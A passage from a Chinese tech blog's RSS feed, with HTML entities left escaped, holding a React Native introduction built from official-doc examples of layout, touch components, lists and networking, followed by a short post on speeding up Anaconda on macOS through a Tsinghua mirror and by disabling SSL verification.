flexShrink describes how to shrink children along the main axis in the case that the total size of the children overflow the size of the container on the main axis. Flex shrink is very similar to flex grow and can be thought of in the same way if any overflowing size is considered to be negative remaining space. These two properties also work well together by allowing children to grow and shrink as needed.

Flex shrink accepts any floating point value &amp;gt;= 0, with 1 being the default value. A container will shrink its children weighted by the child’s flex shrink value.

flexBasis is an axis-independent way of providing the default size of an item along the main axis. Setting the flex basis of a child is similar to setting the width of that child if its parent is a container with flexDirection: row or setting the height of a child if its parent is a container with flexDirection: column. The flex basis of an item is the default size of that item, the size of the item before any flex grow and flex shrink calculations are performed.

## 宽高
宽高的值:

- auto Is the default Value, React Native calculates the width/height for the element based on its content, whether that is other children, text, or an image.
- pixels Defines the width/height in absolute pixels. Depending on other styles set on the component, this may or may not be the final dimension of the node.
- percentage Defines the width or height in percentage of its parent&apos;s width or height respectively.

## 绝对和相对布局 Absolute &amp;amp; Relative Layout
元素的位置(position)类型，定义该元素在父元素内的位置。

- relative (default value) By default an element is positioned relatively. This means an element is positioned according to the normal flow of the layout, and then offset relative to that position based on the values of top, right, bottom, and left. The offset does not affect the position of any sibling or parent elements.
- absolute When positioned absolutely an element doesn&apos;t take part in the normal layout flow. It is instead laid out independent of its siblings. The position is determined based on the top, right, bottom, and left values.
![image](https://cdn-images-1.medium.com/max/800/1*NlPeRQCQK3Vb5nyjL0Mqxw.png)

# 字符输入

将单词转为一个pissa
```
import React, { Component } from &apos;react&apos;;
import { Text, TextInput, View } from &apos;react-native&apos;;

export default class PizzaTranslator extends Component {
  constructor(props) {
    super(props);
    this.state = {text: &apos;&apos;};
  }

  render() {
    return (
      &amp;lt;View style=&amp;gt;
        &amp;lt;TextInput
          style=
          placeholder=&quot;Type here to translate!&quot;
          onChangeText={(text) =&amp;gt; this.setState({text})}
          value={this.state.text}
        /&amp;gt;
        &amp;lt;Text style=&amp;gt;
          {this.state.text.split(&apos; &apos;).map((word) =&amp;gt; word &amp;amp;&amp;amp; &apos;🍕&apos;).join(&apos; &apos;)}
        &lt;/Text&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &amp;lt;/View&amp;gt;
);   } }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
# 触摸
[ gesture responder system ](https://reactnative.dev/docs/gesture-responder-system)

## 按钮 Button

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&amp;lt;Button
  onPress={() =&amp;gt; {
    alert(‘You tapped the button!’);
  }}
  title=”Press Me”
/&amp;gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;import React, { Component } from ‘react’;
import { Button, StyleSheet, View } from ‘react-native’;&lt;/p&gt;

&lt;p&gt;export default class ButtonBasics extends Component {
  _onPressButton() {
    alert(‘You tapped the button!’)
  }&lt;/p&gt;

&lt;p&gt;render() {
    return (
      &amp;lt;View style={styles.container}&amp;gt;
        &amp;lt;View style={styles.buttonContainer}&amp;gt;
          &amp;lt;Button
            onPress={this._onPressButton}
            title=”Press Me”
          /&amp;gt;
        &amp;lt;/View&amp;gt;
        &amp;lt;View style={styles.buttonContainer}&amp;gt;
          &amp;lt;Button
            onPress={this._onPressButton}
            title=”Press Me”
            color=”#841584”
          /&amp;gt;
        &amp;lt;/View&amp;gt;
        &amp;lt;View style={styles.alternativeLayoutButtonContainer}&amp;gt;
          &amp;lt;Button
            onPress={this._onPressButton}
            title=”This looks great!”
          /&amp;gt;
          &amp;lt;Button
            onPress={this._onPressButton}
            title=”OK!”
            color=”#841584”
          /&amp;gt;
        &amp;lt;/View&amp;gt;
      &amp;lt;/View&amp;gt;
    );
  }
}&lt;/p&gt;

&lt;p&gt;const styles = StyleSheet.create({
  container: {
   flex: 1,
   justifyContent: ‘center’,
  },
  buttonContainer: {
    margin: 20
  },
  alternativeLayoutButtonContainer: {
    margin: 20,
    flexDirection: ‘row’,
    justifyContent: ‘space-between’
  }
});&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## 触摸组件 Touchable
自定义触摸效果时使用。
触摸组件 Touchable 可以获取触摸操作的手势，当手势被识别时，可以显示相应的响应。该组件没有提供缺省的样式，所以需要做一点工作以便在app中看起来比较舒畅。

使用哪种触摸组件，取决于需要什么样的反馈。

- TouchableHighlight ：任何地方都可使用，如按钮或链接。点击时背景会变暗。
- TouchableNativeFeedback：在 Android 上点击时显示墨水波纹。
- TouchableOpacity 当被按下时，增加透明度反馈，允许背景被看到。
- TouchableWithoutFeedback：只想处理点击，但不需要任何可见的反馈，可以使用它。

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;import React, { Component } from ‘react’;
import { Platform, StyleSheet, Text, TouchableHighlight, TouchableOpacity, TouchableNativeFeedback, TouchableWithoutFeedback, View } from ‘react-native’;&lt;/p&gt;

&lt;p&gt;export default class Touchables extends Component {
  _onPressButton() {
    alert(‘You tapped the button!’)
  }&lt;/p&gt;

&lt;p&gt;_onLongPressButton() {
    alert(‘You long-pressed the button!’)
  }&lt;/p&gt;

&lt;p&gt;render() {
    return (
      &amp;lt;View style={styles.container}&amp;gt;
        &amp;lt;TouchableHighlight onPress={this._onPressButton} underlayColor=”white”&amp;gt;
          &amp;lt;View style={styles.button}&amp;gt;
            &amp;lt;Text style={styles.buttonText}&amp;gt;TouchableHighlight&amp;lt;/Text&amp;gt;
          &amp;lt;/View&amp;gt;
        &amp;lt;/TouchableHighlight&amp;gt;
        &amp;lt;TouchableOpacity onPress={this._onPressButton}&amp;gt;
          &amp;lt;View style={styles.button}&amp;gt;
            &amp;lt;Text style={styles.buttonText}&amp;gt;TouchableOpacity&amp;lt;/Text&amp;gt;
          &amp;lt;/View&amp;gt;
        &amp;lt;/TouchableOpacity&amp;gt;
        &amp;lt;TouchableNativeFeedback
            onPress={this._onPressButton}
            background={Platform.OS === ‘android’ ? TouchableNativeFeedback.SelectableBackground() : ‘’}&amp;gt;
          &amp;lt;View style={styles.button}&amp;gt;
            &amp;lt;Text style={styles.buttonText}&amp;gt;TouchableNativeFeedback {Platform.OS !== ‘android’ ? ‘(Android only)’ : ‘’}&amp;lt;/Text&amp;gt;
          &amp;lt;/View&amp;gt;
        &amp;lt;/TouchableNativeFeedback&amp;gt;
        &amp;lt;TouchableWithoutFeedback
            onPress={this._onPressButton}
            &amp;gt;
          &amp;lt;View style={styles.button}&amp;gt;
            &amp;lt;Text style={styles.buttonText}&amp;gt;TouchableWithoutFeedback&amp;lt;/Text&amp;gt;
          &amp;lt;/View&amp;gt;
        &amp;lt;/TouchableWithoutFeedback&amp;gt;
        &amp;lt;TouchableHighlight onPress={this._onPressButton} onLongPress={this._onLongPressButton} underlayColor=”white”&amp;gt;
          &amp;lt;View style={styles.button}&amp;gt;
            &amp;lt;Text style={styles.buttonText}&amp;gt;Touchable with Long Press&amp;lt;/Text&amp;gt;
          &amp;lt;/View&amp;gt;
        &amp;lt;/TouchableHighlight&amp;gt;
      &amp;lt;/View&amp;gt;
    );
  }
}&lt;/p&gt;

&lt;p&gt;const styles = StyleSheet.create({
  container: {
    paddingTop: 60,
    alignItems: ‘center’
  },
  button: {
    marginBottom: 30,
    width: 260,
    alignItems: ‘center’,
    backgroundColor: ‘#2196F3’
  },
  buttonText: {
    textAlign: ‘center’,
    padding: 20,
    color: ‘white’
  }
});&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# 滚动视界 ScrollView 
提供滚动展示和操作，但一次加载全部数据。

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;import React, { Component } from ‘react’;
import { ScrollView, Image, Text } from ‘react-native’;&lt;/p&gt;

&lt;p&gt;export default class IScrolledDownAndWhatHappenedNextShockedMe extends Component {
  render() {
      return (
        &lt;ScrollView&gt;
          &amp;lt;Text style=&amp;gt;Scroll me plz&amp;lt;/Text&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Text style=&amp;gt;If you like&amp;lt;/Text&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Text style=&amp;gt;Scrolling down&amp;lt;/Text&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Text style=&amp;gt;What&apos;s the best&amp;lt;/Text&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Text style=&amp;gt;Framework around?&amp;lt;/Text&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Image source= /&amp;gt;
          &amp;lt;Text style=&amp;gt;React Native&amp;lt;/Text&amp;gt;
        &lt;/ScrollView&gt;
    );
  }
}&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
ScrollViews can be configured to allow paging through views using swiping gestures by using the pagingEnabled props. Swiping horizontally between views can also be implemented on Android using the ViewPager component.

On iOS a ScrollView with a single item can be used to allow the user to zoom content. Set up the maximumZoomScale and minimumZoomScale props and your user will be able to use pinch and expand gestures to zoom in and out.

The ScrollView works best to present a small amount of things of a limited size. All the elements and views of a ScrollView are rendered, even if they are not currently shown on the screen. If you have a long list of more items than can fit on the screen, you should use a FlatList instead.

## 平滑列表或分节列表 FlatList 或 SectionList.
The FlatList component displays a scrolling list of changing, but similarly structured, data. FlatList works well for long lists of data, where the number of items might change over time. Unlike the more generic ScrollView, the FlatList only renders elements that are currently showing on the screen, not all the elements at once.
The FlatList component requires two props: data and renderItem. data is the source of information for the list. renderItem takes one item from the source and returns a formatted component to render.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;import React, { Component } from ‘react’;
import { FlatList, StyleSheet, Text, View } from ‘react-native’;&lt;/p&gt;

&lt;p&gt;export default class FlatListBasics extends Component {
  render() {
    return (
      &amp;lt;View style={styles.container}&amp;gt;
        &amp;lt;FlatList
          data={[
            {key: ‘Devin’},
            {key: ‘Dan’},
            {key: ‘Dominic’},
            {key: ‘Jackson’},
            {key: ‘James’},
            {key: ‘Joel’},
            {key: ‘John’},
            {key: ‘Jillian’},
            {key: ‘Jimmy’},
            {key: ‘Julie’},
          ]}
          renderItem={({item}) =&amp;gt; &amp;lt;Text style={styles.item}&amp;gt;{item.key}&amp;lt;/Text&amp;gt;}
        /&amp;gt;
      &amp;lt;/View&amp;gt;
    );
  }
}&lt;/p&gt;

&lt;p&gt;const styles = StyleSheet.create({
  container: {
   flex: 1,
   paddingTop: 22
  },
  item: {
    padding: 10,
    fontSize: 18,
    height: 44,
  },
})&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;If you want to render a set of data broken into logical sections, maybe with section headers, similar to UITableViews on iOS, then a SectionList is the way to go.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;import React, { Component } from ‘react’;
import { SectionList, StyleSheet, Text, View } from ‘react-native’;&lt;/p&gt;

&lt;p&gt;export default class SectionListBasics extends Component {
  render() {
    return (
      &amp;lt;View style={styles.container}&amp;gt;
        &amp;lt;SectionList
          sections={[
            {title: ‘D’, data: [‘Devin’, ‘Dan’, ‘Dominic’]},
            {title: ‘J’, data: [‘Jackson’, ‘James’, ‘Jillian’, ‘Jimmy’, ‘Joel’, ‘John’, ‘Julie’]},
          ]}
          renderItem={({item}) =&amp;gt; &amp;lt;Text style={styles.item}&amp;gt;{item}&amp;lt;/Text&amp;gt;}
          renderSectionHeader={({section}) =&amp;gt; &amp;lt;Text style={styles.sectionHeader}&amp;gt;{section.title}&amp;lt;/Text&amp;gt;}
          keyExtractor={(item, index) =&amp;gt; index}
        /&amp;gt;
      &amp;lt;/View&amp;gt;
    );
  }
}&lt;/p&gt;

&lt;p&gt;const styles = StyleSheet.create({
  container: {
   flex: 1,
   paddingTop: 22
  },
  sectionHeader: {
    paddingTop: 2,
    paddingLeft: 10,
    paddingRight: 10,
    paddingBottom: 2,
    fontSize: 14,
    fontWeight: ‘bold’,
    backgroundColor: ‘rgba(247,247,247,1.0)’,
  },
  item: {
    padding: 10,
    fontSize: 18,
    height: 44,
  },
})&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# 网络
- [ Fetch API ](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)
- [Request](https://developer.mozilla.org/en-US/docs/Web/API/Request)

React Native 提供 Fetch API 满足网络需求。Fetch 和 XMLHttpRequest或其他网络API相似，可以参考 [MDN 指南 Using Fetch](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch) 

## 同步方式
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;fetch(‘https://mywebsite.com/endpoint/’, {
  method: ‘POST’,
  headers: {
    Accept: ‘application/json’,
    ‘Content-Type’: ‘application/json’,
  },
  body: JSON.stringify({
    firstParam: ‘yourValue’,
    secondParam: ‘yourOtherValue’,
  }),
});&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
## Promise 方式：
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;function getMoviesFromApiAsync() {
  return fetch(‘https://reactnative.dev/movies.json’)
    .then((response) =&amp;gt; response.json())
    .then((responseJson) =&amp;gt; {
      return responseJson.movies;
    })
    .catch((error) =&amp;gt; {
      console.error(error);
    });
}&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## ES2017 async/await方式
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;async function getMoviesFromApi() {
  try {
    let response = await fetch(‘https://reactnative.dev/movies.json’);
    let responseJson = await response.json();
    return responseJson.movies;
  } catch (error) {
    console.error(error);
  }
}&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
## 处理错误
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;import React from ‘react’;
import { FlatList, ActivityIndicator, Text, View  } from ‘react-native’;&lt;/p&gt;

&lt;p&gt;export default class FetchExample extends React.Component {&lt;/p&gt;

&lt;p&gt;constructor(props){
    super(props);
    this.state ={ isLoading: true}
  }&lt;/p&gt;

&lt;p&gt;componentDidMount(){
    return fetch(‘https://reactnative.dev/movies.json’)
      .then((response) =&amp;gt; response.json())
      .then((responseJson) =&amp;gt; {&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    this.setState({
      isLoading: false,
      dataSource: responseJson.movies,
    }, function(){

    });

  })
  .catch((error) =&amp;gt;{
    console.error(error);
  });   }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;render(){&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if(this.state.isLoading){
  return(
    &amp;lt;View style=&amp;gt;
      &amp;lt;ActivityIndicator/&amp;gt;
    &amp;lt;/View&amp;gt;
  )
}

return(
  &amp;lt;View style=&amp;gt;
    &amp;lt;FlatList
      data={this.state.dataSource}
      renderItem={({item}) =&amp;gt; &amp;lt;Text&amp;gt;{item.title}, {item.releaseYear}&amp;lt;/Text&amp;gt;}
      keyExtractor={({id}, index) =&amp;gt; id}
    /&amp;gt;
  &amp;lt;/View&amp;gt;
);   } }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
## 其他网络库
XMLHttpRequest API 是 React Native内置的。意味着可以使用依赖它的第三方库如frisbee 或 axios , 或者直接使用 XMLHttpRequest API。

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;var request = new XMLHttpRequest();
request.onreadystatechange = (e) =&amp;gt; {
  if (request.readyState !== 4) {
    return;
  }&lt;/p&gt;

&lt;p&gt;if (request.status === 200) {
    console.log(‘success’, request.responseText);
  } else {
    console.warn(‘error’);
  }
};&lt;/p&gt;

&lt;p&gt;request.open(‘GET’, ‘https://mywebsite.com/endpoint/’);
request.send();&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## WebSocket
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;var ws = new WebSocket(‘ws://host.com/path’);&lt;/p&gt;

&lt;p&gt;ws.onopen = () =&amp;gt; {
  // connection opened
  ws.send(‘something’); // send a message
};&lt;/p&gt;

&lt;p&gt;ws.onmessage = (e) =&amp;gt; {
  // a message was received
  console.log(e.data);
};&lt;/p&gt;

&lt;p&gt;ws.onerror = (e) =&amp;gt; {
  // an error occurred
  console.log(e.message);
};&lt;/p&gt;

&lt;p&gt;ws.onclose = (e) =&amp;gt; {
  // connection closed
  console.log(e.code, e.reason);
};
```&lt;/p&gt;
&lt;h1 id=&quot;参考&quot;&gt;参考&lt;/h1&gt;
&lt;p&gt;https://reactnative.dev/docs/tutorial&lt;/p&gt;

&lt;p&gt;https://facebook.github.io/react/&lt;/p&gt;

&lt;p&gt;https://egghead.io/courses/getting-started-with-redux 视频教程&lt;/p&gt;

&lt;p&gt;http://www.awesome-react-native.com/ 开源项目&lt;/p&gt;
</description>
        <pubDate>Sat, 04 Apr 2020 05:48:26 +0000</pubDate>
        <link>http://abloz.com/tech/2020/04/04/react-native-intro/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2020/04/04/react-native-intro/</guid>
        
        <category>mac</category>
        
        <category>react native</category>
        
        
        <category>tech</category>
        
      </item>
    
      <item>
        <title>anaconda mac 启动慢的问题</title>
        <description>&lt;p&gt;应该是连接网络更新版本信息需要到外网，所以很慢。&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;一是修改配置
采用清华镜像&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;vi ~/.condarc&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssl_verify: false
show_channel_urls: true
channels:
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
  - defaults
default_channels:
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r
custom_channels:
  conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;二是禁掉enable ssl verify
在打开anaconda-navigator后，preferences里禁掉enable ssl verify . 我在mac里修改遇到说https://api.anaconda.com不合法设置不成功的问题。可能还是墙的原因。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;三是在preferences同样的地方设为offline mode。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;四是都不行先断网再启动。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;五可以直接执行jupyter-lab，spyder等启动编辑环境，不需要启动anaconda-navigator&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Sat, 04 Apr 2020 05:48:26 +0000</pubDate>
        <link>http://abloz.com/tech/2020/04/04/anaconda-slow/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2020/04/04/anaconda-slow/</guid>
        
        <category>mac</category>
        
        <category>anaconda</category>
        
        
        <category>tech</category>
        
      </item>
    
  </channel>
</rss>
